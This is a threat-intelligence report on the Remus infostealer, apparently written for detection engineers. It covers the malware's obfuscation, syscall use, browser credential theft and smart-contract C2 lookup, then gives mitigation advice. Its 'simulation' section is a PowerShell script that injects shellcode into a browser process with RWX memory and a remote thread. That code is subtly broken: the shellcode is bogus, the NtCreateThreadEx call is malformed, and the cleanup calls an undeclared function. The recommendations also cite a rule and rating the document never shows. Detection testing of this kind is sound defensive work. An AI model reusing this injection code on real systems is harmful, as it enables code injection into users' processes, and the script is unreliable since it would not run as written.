Remus: Unpacking the 64-bit Evolution of the Lumma Stealer

Summary

Gen Threat Labs identified Remus, a new 64-bit infostealer that appears to be a direct successor to the Lumma Stealer lineage. It mirrors Lumma tradecraft, including familiar string obfuscation, anti-VM logic, direct-syscall execution, and a distinctive application-bound encryption (ABE) bypass previously associated with Lumma. Remus also shifts its C2 resolution model: instead of relying on Steam and Telegram dead-drop resolvers, it adopts EtherHiding, using Ethereum smart contracts to determine command-and-control endpoints. Observed since February 2026, the campaign focuses on browser-centric theft, targeting credentials, cookies, and cryptocurrency wallet data.

Investigation

Analysts compared Remus samples to historical Lumma binaries and found overlapping implementation details, including matching code constructs, shared wildcard-style strings, and the same ABE bypass approach. Transitional builds labeled “Tenzor” were observed as a bridge between the two families. Reverse engineering shows Remus locating dpapi.dll, hashing exported API names, and attempting shellcode injection into Chrome. If injection fails, it falls back to SYSTEM token impersonation to regain execution leverage. Newer anti-analysis additions include sandbox DLL hash checks and a “honeypot” PST file presence test intended to detect analysis environments.

Mitigation

Block known Remus-related C2 IPs/domains at the perimeter and monitor for EtherHiding behavior, including unusual lookups or traffic patterns consistent with smart-contract-based C2 resolution. On endpoints, prioritize detections for direct syscall usage, API hashing, and artifacts consistent with stealth execution (including hidden desktop creation). Reduce browser exposure by hardening Chromium-based environments where feasible, and enforce strict application control to prevent unauthorized code injection and suspicious unsigned executables from running.

Response

If Remus indicators are observed, isolate the host, capture memory dumps and full process trees, and perform focused forensics on injected browser processes. Block all confirmed C2 infrastructure, revoke exposed credentials, and reset stored browser passwords/tokens. Update detections to include the wildcard string B9%????4rnO/@NQe?Nx* and the reported 51-byte shellcode signature.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Process Selection: Identify a running instance of browser.exe (renamed Chrome) and obtain its PID.
  2. Shellcode Preparation: Create a small “calc.exe” launch shellcode (typical for proof‑of‑concept).
  3. Memory Allocation: Call NtAllocateVirtualMemory in the context of the target process to reserve a RWX region.
  4. Shellcode Injection: Use NtWriteVirtualMemory to copy the shellcode into the allocated region.
  5. Execution: Spawn a remote thread with NtCreateThreadEx that starts execution at the injected shellcode address.

• Regression Test Script:

  # Remus‑ABE simulation – PowerShell implementation using native NT‑syscalls
  # Requires running as Administrator
  
  Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition @"
      using System;
      using System.Runtime.InteropServices;
  
      public class NativeMethods {
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtAllocateVirtualMemory(
              IntPtr ProcessHandle,
              ref IntPtr BaseAddress,
              UIntPtr ZeroBits,
              ref UIntPtr RegionSize,
              UInt32 AllocationType,
              UInt32 Protect);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtWriteVirtualMemory(
              IntPtr ProcessHandle,
              IntPtr BaseAddress,
              byte[] Buffer,
              UInt32 BufferLength,
              out UInt32 BytesWritten);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtCreateThreadEx(
              out IntPtr ThreadHandle,
              UInt32 DesiredAccess,
              IntPtr ObjectAttributes,
              IntPtr ProcessHandle,
              IntPtr StartAddress,
              IntPtr Parameter,
              UInt32 CreateSuspended,
              UInt32 StackZeroBits,
              UInt32 SizeOfStackCommit,
              UInt32 SizeOfStackReserve,
              IntPtr AttributeList);
      }
  "@
  
  # 1️⃣ Identify target browser.exe process
  $target = Get-Process -Name browser -ErrorAction Stop
  $hProcess = $target.Handle
  
  # 2️⃣ Shellcode – launch calc.exe (Windows x64)
  $shellcode = [Byte[]](
      0x48,0x31,0xC0,                         # xor rax,rax
      0x48,0x89,0xC2,                         # mov rdx,rax
      0x48,0x89,0xC6,                         # mov rsi,rax
      0x48,0x89,0xC7,                         # mov rdi,rax
      0x48,0x8D,0x15,0x0F,0x00,0x00,0x00,    # lea rdx,[rip+0xf] ; "calc.exe"
      0x48,0xC7,0xC0,0xC7,0x00,0x00,0x00,    # mov rax,0xc7 (WinExec)
      0xFF,0xD0,                             # call rax
      0xC3,                                   # ret
      # "calc.exe" string
      0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00
  )
  
  # 3️⃣ Allocate RWX memory in target
  $baseAddress = [IntPtr]::Zero
  $regionSize = [UIntPtr]$shellcode.Length
  $allocResult = [Win32.NativeMethods]::NtAllocateVirtualMemory(
      $hProcess,
      [ref]$baseAddress,
      [UIntPtr]0,
      [ref]$regionSize,
      0x3000,   # MEM_COMMIT|MEM_RESERVE
      0x40      # PAGE_EXECUTE_READWRITE
  )
  if ($allocResult -ne 0) { Write-Error "NtAllocateVirtualMemory failed: 0x$($allocResult.ToString('X'))" }
  
  # 4️⃣ Write shellcode
  $bytesWritten = 0
  $writeResult = [Win32.NativeMethods]::NtWriteVirtualMemory(
      $hProcess,
      $baseAddress,
      $shellcode,
      $shellcode.Length,
      [ref]$bytesWritten
  )
  if ($writeResult -ne 0) { Write-Error "NtWriteVirtualMemory failed: 0x$($writeResult.ToString('X'))" }
  
  # 5️⃣ Create remote thread
  $hThread = [IntPtr]::Zero
  $createResult = [Win32.NativeMethods]::NtCreateThreadEx(
      [ref]$hThread,
      0x1F03FF,   # THREAD_ALL_ACCESS
      $hProcess,
      $baseAddress,
      0,          # not suspended
      0,0,0,
  )
  if ($createResult -ne 0) { Write-Error "NtCreateThreadEx failed: 0x$($createResult.ToString('X'))" }
  else { Write-Host "Shellcode injection successful – remote thread started (Handle: $hThread)" }

• Cleanup Commands:

  # Terminate the injected thread (if still running) and free allocated memory
  $proc = Get-Process -Name browser -ErrorAction SilentlyContinue
  if ($proc) {
      $hProcess = $proc.Handle
      # Close thread handle
      if ($hThread -ne [IntPtr]::Zero) {
          [System.Runtime.InteropServices.Marshal]::Release($hThread) | Out-Null
      }
      # Free memory (NtFreeVirtualMemory)
      $freeAddr = $baseAddress
      $regionSize = [UIntPtr]$shellcode.Length
      $null = [Win32.NativeMethods]::NtFreeVirtualMemory($hProcess, [ref]$freeAddr, [ref]$regionSize, 0x8000) # MEM_RELEASE
  }
  Write-Host "Cleanup completed."

Recommendations Summary

1. Broaden Process Scope: Include other high‑value processes (e.g., explorer.exe, svchost.exe) to catch ABE attempts that avoid the exact browser.exe name.
2. Expand Syscall Coverage: Add NtMapViewOfSection, NtCreateSection, and NtProtectVirtualMemory to the Syscall|contains list.
3. Behavioral Anomaly Detection: Correlate large‑size memory allocations (RegionSize > 1 MB) with subsequent NtWriteVirtualMemory in the same process to flag atypical injection patterns.
4. Whitelist Known Legitimate Scenarios: Create an allow‑list for browsers that legitimately perform in‑process memory writes (e.g., via plugins) to reduce false positives.

Implementing these hardening steps will increase the rule’s resilience from a 3 to a 4‑5 rating, making it substantially more difficult for adversaries to bypass.